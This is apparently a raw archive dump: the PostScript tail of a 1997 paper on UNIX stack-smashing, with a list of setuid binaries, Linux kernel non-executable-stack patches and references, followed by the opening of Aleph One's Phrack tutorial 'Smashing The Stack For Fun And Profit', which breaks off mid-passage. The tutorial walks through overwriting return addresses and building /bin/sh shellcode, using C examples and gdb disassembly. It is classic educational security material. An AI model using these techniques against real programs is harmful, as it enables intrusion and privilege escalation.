(/usr/lib/exrecover) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7656 M (/usr/lib/pt_chmod) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7468 M (/usr/lib/utmp_update) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7280 M (/usr/lib/acct/accton) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7092 M (/usr/openwin/bin/xlock) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6904 M (/usr/openwin/bin/ff.core) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6716 M (/usr/openwin/bin/kcms_configure) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6528 M (/usr/openwin/bin/kcms_calibrate) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6340 M (/usr/openwin/lib/mkcookie) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6152 M (/usr/sbin/allocate) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5964 M (/usr/sbin/mkdevalloc) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5776 M (/usr/sbin/mkdevmaps) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5588 M (/usr/sbin/ping) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5400 M (/usr/sbin/sacadm) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5212 M (/usr/sbin/whodo) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5024 M (/usr/sbin/deallocate) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4836 M (/usr/sbin/list_devices) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4648 M (/usr/sbin/static/rcp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4460 M (/usr/dt/bin/dtaction) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4272 M (/usr/dt/bin/dtappgather) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4084 M (/usr/dt/bin/dtsession) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3896 M (/usr/dt/bin/dtprintinfo) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3708 M (/usr/dt/bin/sdtcm_convert) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3520 M (/usr/proc/bin/ptree) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3332 M (/usr/proc/bin/pwait) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3144 M (/usr/ucb/ps) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2956 M (/sbin/su) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 35 35 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 2385 9823 M (Appendix C - Stack Execution Permission Patches) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9438 M (Linux 2.0) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 1200 9280 M (diff -u --recursive /extra/Linux-2.0.30/arch/i386/kernel/head.S ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9148 M (Linux/arch/i386/kernel/head.S) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9016 M (--- /extra/Linux-2.0.30/arch/i386/kernel/head.S Sat Apr 12 10:41:59 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8884 M (+++ Linux/arch/i386/kernel/head.S Sat Apr 12 10:44:58 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8752 M (@@ -402,7 +402,7 @@) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8620 M ( .quad 0xc0c392000000ffff /* 0x18 kernel 1GB data at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8488 M (0xC0000000 */) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8356 M ( .quad 0x00cbfa000000ffff /* 0x23 user 3GB code at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8224 M (0x00000000 */) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8092 M ( .quad 0x00cbf2000000ffff /* 0x2b user 3GB data at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7960 M (0x00000000 */) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7828 M (- .quad 0x0000000000000000 /* not used */) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7696 M (+ .quad 0x00cafa000000ffff /* 0x33 user 2.75GB code */) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7564 M ( .quad 0x0000000000000000 /* not used */) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7432 M ( .fill 2*NR_TASKS,8,0 /* space for LDT's and TSS's etc */) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7300 M ( #ifdef CONFIG_APM) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7168 M (diff -u --recursive /extra/Linux-2.0.30/arch/i386/kernel/signal.c ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7036 M (Linux/arch/i386/kernel/signal.c) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6904 M (--- /extra/Linux-2.0.30/arch/i386/kernel/signal.c Sat Apr 12 10:41:59 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6772 M (1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6640 M (+++ Linux/arch/i386/kernel/signal.c Sat Apr 12 10:44:58 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6508 M (@@ -214,7 +214,7 @@) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6376 M ( /* Set up registers for signal handler */) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6244 M ( regs->esp = \(unsigned long\) frame;) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6112 M ( regs->eip = \(unsigned long\) sa->sa_handler;) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5980 M (- regs->cs = USER_CS; regs->ss = USER_DS;) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5848 M (+ regs->cs = USER_HUGE_CS; regs->ss = USER_DS;) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5716 M ( regs->ds = USER_DS; regs->es = USER_DS;) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5584 M ( regs->gs = USER_DS; regs->fs = USER_DS;) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5452 M ( regs->eflags &= ~TF_MASK;) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5320 M (diff -u --recursive /extra/Linux-2.0.30/include/asm-i386/segment.h ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5188 M (Linux/include/asm-i386/segment.h) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5056 M (--- /extra/Linux-2.0.30/include/asm-i386/segment.h Sat Apr 12 10:41:37 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4924 M (1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4792 M (+++ Linux/include/asm-i386/segment.h Sat Apr 12 10:44:58 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4660 M (@@ -4,7 +4,8 @@) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4528 M ( #define KERNEL_CS 0x10) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4396 M ( #define KERNEL_DS 0x18) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4104 M (-#define USER_CS 0x23) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3972 M (+#define USER_HUGE_CS 0x23) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3840 M (+#define USER_CS 0x33) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3708 M ( #define USER_DS 0x2B) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3576 M ( #ifndef __ASSEMBLY__) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 36 36 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 9823 M (References) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 9489 M ([1]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 9489 M (One, Aleph) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p100000 SETFONT GS n 2340 9489 M ( Smashing The Stack For Fun And Profit.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 4646 9489 M ( Phrack Magazine 49, Fall 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9169 M ([2]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p100000 SETFONT GS n 1700 9169 M (Stack Smashing, What to do?) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3322 9169 M ( Shawn Instentes. USENIX Association ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p100000 SETFONT GS n 5602 9169 M (Login) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 5925 9169 M (, April 1997 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8849 M ([3]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p100000 SETFONT GS n 1700 8849 M (The Free On-Line Dictionary of Computing, FOLDOC) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 4759 8849 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 4829 8849 M (http://wfn-shop.Princeton.EDU/foldoc/) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 8529 M ([4] ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8529 M (CERT, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2190 8529 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2458 8529 M (Computer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3111 8529 M (Emergency ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3841 8529 M (Response ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4471 8529 M (Team ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4886 8529 M (Coordination ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5716 8529 M (Center. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6220 8529 M (public ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6665 8529 M (FTP ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7002 8529 M (archives. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8369 M (ftp://ftp.cert.org. 1997.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8049 M ([5]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8049 M (CIAC, ) ST -1 0 MR (the ) ST -2 0 MR (U.S. ) ST -2 0 MR (Department ) ST -2 0 MR (of ) ST -2 0 MR (Energy's ) ST -2 0 MR (Computer ) ST -2 0 MR (Incident ) ST -2 0 MR (Advisory ) ST -2 0 MR (Capability. ) ST -2 0 MR (public ) ST -2 0 MR (webserver. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7889 M (http://ciac.llnl.gov/ 1997.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7569 M ([6]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p100000 SETFONT GS n 1700 7569 M (Practical UNIX & Internet Security) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3686 7569 M (. ) ST -2 0 MR ( ) ST -2 0 MR (Simson ) ST -2 0 MR (Garfinkel ) ST -2 0 MR (and ) ST -2 0 MR (Eugene ) ST -2 0 MR (Spafford. ) ST -2 0 MR ( ) ST -2 0 MR (O'Reilly ) ST -2 0 MR (and ) ST -3 0 MR (Associates ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7409 M (1996.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7089 M ([7]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p100000 SETFONT GS n 1700 7089 M (The Design and Implementation of the 4.4BSD Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 5320 7089 M (. McKusick, Marshall Kirk; Bostic, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6929 M (Keith; Karles, Michael J.; Quarterman, John S. Addison Wesley 1996.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6609 M ([8]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6609 M (Mudge. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p100000 SETFONT GS n 2197 6609 M (How to Write Buffer Overflows. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 4007 6609 M (http://www.l0pht.com/advisories/bufero.html.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6289 M ([9]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p100000 SETFONT GS n 1700 6289 M (Assembly Language for the IBM-PC.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3756 6289 M ( Kip R. Irvine. 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ST GR %%PageTrailer AXPageSave restore showpage %%Trailer %%EOF buffer-overflows/p49-14.txt100644 0 0 200213 6347415502 14075 0ustar rootroot .oO Phrack 49 Oo. Volume Seven, Issue Forty-Nine File 14 of 16 BugTraq, r00t, and Underground.Org bring you XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Smashing The Stack For Fun And Profit XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX by Aleph One aleph1@underground.org `smash the stack` [C programming] n. On many C implementations it is possible to corrupt the execution stack by writing past the end of an array declared auto in a routine. Code that does this is said to smash the stack, and can cause return from the routine to jump to a random address. This can produce some of the most insidious data-dependent bugs known to mankind. Variants include trash the stack, scribble the stack, mangle the stack; the term mung the stack is not used, as this is never done intentionally. See spam; see also alias bug, fandango on core, memory leak, precedence lossage, overrun screw. Introduction ~~~~~~~~~~~~ Over the last few months there has been a large increase of buffer overflow vulnerabilities being both discovered and exploited. Examples of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at, etc. This paper attempts to explain what buffer overflows are, and how their exploits work. Basic knowledge of assembly is required. An understanding of virtual memory concepts, and experience with gdb are very helpful but not necessary. We also assume we are working with an Intel x86 CPU, and that the operating system is Linux. Some basic definitions before we begin: A buffer is simply a contiguous block of computer memory that holds multiple instances of the same data type. C programmers normally associate with the word buffer arrays. Most commonly, character arrays. Arrays, like all variables in C, can be declared either static or dynamic. Static variables are allocated at load time on the data segment. Dynamic variables are allocated at run time on the stack. To overflow is to flow, or fill over the top, brims, or bounds. We will concern ourselves only with the overflow of dynamic buffers, otherwise known as stack-based buffer overflows. Process Memory Organization ~~~~~~~~~~~~~~~~~~~~~~~~~~~ To understand what stack buffers are we must first understand how a process is organized in memory. Processes are divided into three regions: Text, Data, and Stack. We will concentrate on the stack region, but first a small overview of the other regions is in order. The text region is fixed by the program and includes code (instructions) and read-only data. This region corresponds to the text section of the executable file. This region is normally marked read-only and any attempt to write to it will result in a segmentation violation. The data region contains initialized and uninitialized data. Static variables are stored in this region. The data region corresponds to the data-bss sections of the executable file. Its size can be changed with the brk(2) system call. If the expansion of the bss data or the user stack exhausts available memory, the process is blocked and is rescheduled to run again with a larger memory space. New memory is added between the data and stack segments. /------------------\ lower | | memory | Text | addresses | | |------------------| | (Initialized) | | Data | | (Uninitialized) | |------------------| | | | Stack | higher | | memory \------------------/ addresses Fig. 1 Process Memory Regions What Is A Stack? ~~~~~~~~~~~~~~~~ A stack is an abstract data type frequently used in computer science. A stack of objects has the property that the last object placed on the stack will be the first object removed. This property is commonly referred to as last in, first out queue, or a LIFO. Several operations are defined on stacks. Two of the most important are PUSH and POP. PUSH adds an element at the top of the stack. POP, in contrast, reduces the stack size by one by removing the last element at the top of the stack. Why Do We Use A Stack? ~~~~~~~~~~~~~~~~~~~~~~ Modern computers are designed with the need of high-level languages in mind. The most important technique for structuring programs introduced by high-level languages is the procedure or function. From one point of view, a procedure call alters the flow of control just as a jump does, but unlike a jump, when finished performing its task, a function returns control to the statement or instruction following the call. This high-level abstraction is implemented with the help of the stack. The stack is also used to dynamically allocate the local variables used in functions, to pass parameters to the functions, and to return values from the function. The Stack Region ~~~~~~~~~~~~~~~~ A stack is a contiguous block of memory containing data. A register called the stack pointer (SP) points to the top of the stack. The bottom of the stack is at a fixed address. Its size is dynamically adjusted by the kernel at run time. The CPU implements instructions to PUSH onto and POP off of the stack. The stack consists of logical stack frames that are pushed when calling a function and popped when returning. A stack frame contains the parameters to a function, its local variables, and the data necessary to recover the previous stack frame, including the value of the instruction pointer at the time of the function call. Depending on the implementation the stack will either grow down (towards lower memory addresses), or up. In our examples we'll use a stack that grows down. This is the way the stack grows on many computers including the Intel, Motorola, SPARC and MIPS processors. The stack pointer (SP) is also implementation dependent. It may point to the last address on the stack, or to the next free available address after the stack. For our discussion we'll assume it points to the last address on the stack. In addition to the stack pointer, which points to the top of the stack (lowest numerical address), it is often convenient to have a frame pointer (FP) which points to a fixed location within a frame. Some texts also refer to it as a local base pointer (LB). In principle, local variables could be referenced by giving their offsets from SP. However, as words are pushed onto the stack and popped from the stack, these offsets change. Although in some cases the compiler can keep track of the number of words on the stack and thus correct the offsets, in some cases it cannot, and in all cases considerable administration is required. Futhermore, on some machines, such as Intel-based processors, accessing a variable at a known distance from SP requires multiple instructions. Consequently, many compilers use a second register, FP, for referencing both local variables and parameters because their distances from FP do not change with PUSHes and POPs. On Intel CPUs, BP (EBP) is used for this purpose. On the Motorola CPUs, any address register except A7 (the stack pointer) will do. Because the way our stack grows, actual parameters have positive offsets and local variables have negative offsets from FP. The first thing a procedure must do when called is save the previous FP (so it can be restored at procedure exit). Then it copies SP into FP to create the new FP, and advances SP to reserve space for the local variables. This code is called the procedure prolog. Upon procedure exit, the stack must be cleaned up again, something called the procedure epilog. The Intel ENTER and LEAVE instructions and the Motorola LINK and UNLINK instructions, have been provided to do most of the procedure prolog and epilog work efficiently. Let us see what the stack looks like in a simple example: example1.c: ------------------------------------------------------------------------------ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); } ------------------------------------------------------------------------------ To understand what the program does to call function() we compile it with gcc using the -S switch to generate assembly code output: $ gcc -S -o example1.s example1.c By looking at the assembly language output we see that the call to function() is translated to: pushl $3 pushl $2 pushl $1 call function This pushes the 3 arguments to function backwards into the stack, and calls function(). The instruction 'call' will push the instruction pointer (IP) onto the stack. We'll call the saved IP the return address (RET). The first thing done in function is the procedure prolog: pushl %ebp movl %esp,%ebp subl $20,%esp This pushes EBP, the frame pointer, onto the stack. It then copies the current SP onto EBP, making it the new FP pointer. We'll call the saved FP pointer SFP. It then allocates space for the local variables by subtracting their size from SP. We must remember that memory can only be addressed in multiples of the word size. A word in our case is 4 bytes, or 32 bits. So our 5 byte buffer is really going to take 8 bytes (2 words) of memory, and our 10 byte buffer is going to take 12 bytes (3 words) of memory. That is why SP is being subtracted by 20. With that in mind our stack looks like this when function() is called (each space represents a byte): bottom of top of memory memory buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] top of bottom of stack stack Buffer Overflows ~~~~~~~~~~~~~~~~ A buffer overflow is the result of stuffing more data into a buffer than it can handle. How can this often found programming error can be taken advantage to execute arbitrary code? Lets look at another example: example2.c ------------------------------------------------------------------------------ void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } ------------------------------------------------------------------------------ This is program has a function with a typical buffer overflow coding error. The function copies a supplied string without bounds checking by using strcpy() instead of strncpy(). If you run this program you will get a segmentation violation. Lets see what its stack looks when we call function: bottom of top of memory memory buffer sfp ret *str <------ [ ][ ][ ][ ] top of bottom of stack stack What is going on here? Why do we get a segmentation violation? Simple. strcpy() is coping the contents of *str (larger_string[]) into buffer[] until a null character is found on the string. As we can see buffer[] is much smaller than *str. buffer[] is 16 bytes long, and we are trying to stuff it with 256 bytes. This means that all 250 bytes after buffer in the stack are being overwritten. This includes the SFP, RET, and even *str! We had filled large_string with the character 'A'. It's hex character value is 0x41. That means that the return address is now 0x41414141. This is outside of the process address space. That is why when the function returns and tries to read the next instruction from that address you get a segmentation violation. So a buffer overflow allows us to change the return address of a function. In this way we can change the flow of execution of the program. Lets go back to our first example and recall what the stack looked like: bottom of top of memory memory buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] top of bottom of stack stack Lets try to modify our first example so that it overwrites the return address, and demonstrate how we can make it execute arbitrary code. Just before buffer1[] on the stack is SFP, and before it, the return address. That is 4 bytes pass the end of buffer1[]. But remember that buffer1[] is really 2 word so its 8 bytes long. So the return address is 12 bytes from the start of buffer1[]. We'll modify the return value in such a way that the assignment statement 'x = 1;' after the function call will be jumped. To do so we add 8 bytes to the return address. Our code is now: example3.c: ------------------------------------------------------------------------------ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 8; } void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); } ------------------------------------------------------------------------------ What we have done is add 12 to buffer1[]'s address. This new address is where the return address is stored. We want to skip pass the assignment to the printf call. How did we know to add 8 to the return address? We used a test value first (for example 1), compiled the program, and then started gdb: ------------------------------------------------------------------------------ [aleph1]$ gdb example3 GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble main Dump of assembler code for function main: 0x8000490
: pushl %ebp 0x8000491 : movl %esp,%ebp 0x8000493 : subl $0x4,%esp 0x8000496 : movl $0x0,0xfffffffc(%ebp) 0x800049d : pushl $0x3 0x800049f : pushl $0x2 0x80004a1 : pushl $0x1 0x80004a3 : call 0x8000470 0x80004a8 : addl $0xc,%esp 0x80004ab : movl $0x1,0xfffffffc(%ebp) 0x80004b2 : movl 0xfffffffc(%ebp),%eax 0x80004b5 : pushl %eax 0x80004b6 : pushl $0x80004f8 0x80004bb : call 0x8000378 0x80004c0 : addl $0x8,%esp 0x80004c3 : movl %ebp,%esp 0x80004c5 : popl %ebp 0x80004c6 : ret 0x80004c7 : nop ------------------------------------------------------------------------------ We can see that when calling function() the RET will be 0x8004a8, and we want to jump past the assignment at 0x80004ab. The next instruction we want to execute is the at 0x8004b2. A little math tells us the distance is 8 bytes. Shell Code ~~~~~~~~~~ So now that we know that we can modify the return address and the flow of execution, what program do we want to execute? In most cases we'll simply want the program to spawn a shell. From the shell we can then issue other commands as we wish. But what if there is no such code in the program we are trying to exploit? How can we place arbitrary instruction into its address space? The answer is to place the code with are trying to execute in the buffer we are overflowing, and overwrite the return address so it points back into the buffer. Assuming the stack starts at address 0xFF, and that S stands for the code we want to execute the stack would then look like this: bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory buffer sfp ret a b c <------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] ^ | |____________________________| top of bottom of stack stack The code to spawn a shell in C looks like: shellcode.c ----------------------------------------------------------------------------- #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } ------------------------------------------------------------------------------ To find out what does it looks like in assembly we compile it, and start up gdb. Remember to use the -static flag. Otherwise the actual code the for the execve system call will not be included. Instead there will be a reference to dynamic C library that would normally would be linked in at load time. ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) 0x800013d : movl $0x0,0xfffffffc(%ebp) 0x8000144 : pushl $0x0 0x8000146 : leal 0xfffffff8(%ebp),%eax 0x8000149 : pushl %eax 0x800014a : movl 0xfffffff8(%ebp),%eax 0x800014d : pushl %eax 0x800014e : call 0x80002bc <__execve> 0x8000153 : addl $0xc,%esp 0x8000156 : movl %ebp,%esp 0x8000158 : popl %ebp 0x8000159 : ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. ------------------------------------------------------------------------------ Lets try to understand what is going on here. We'll start by studying main: ------------------------------------------------------------------------------ 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp This is the procedure prelude. It first saves the old frame pointer, makes the current stack pointer the new frame pointer, and leaves space for the local variables. In this case its: char *name[2]; or 2 pointers to a char. Pointers are a word long, so it leaves space for two words (8 bytes). 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) We copy the value 0x80027b8 (the address of the string "/bin/sh") into the first pointer of name[]. This is equivalent to: name[0] = "/bin/sh"; 0x800013d : movl $0x0,0xfffffffc(%ebp) We copy the value 0x0 (NULL) into the seconds pointer of name[]. This is equivalent to: name[1] = NULL; The actual call to execve() starts here. 0x8000144 : pushl $0x0 We push the arguments to execve() in reverse order onto the stack. We start with NULL. 0x8000146 : leal 0xfffffff8(%ebp),%eax We load the address of name[] into the EAX register. 0x8000149 : pushl %eax We push the 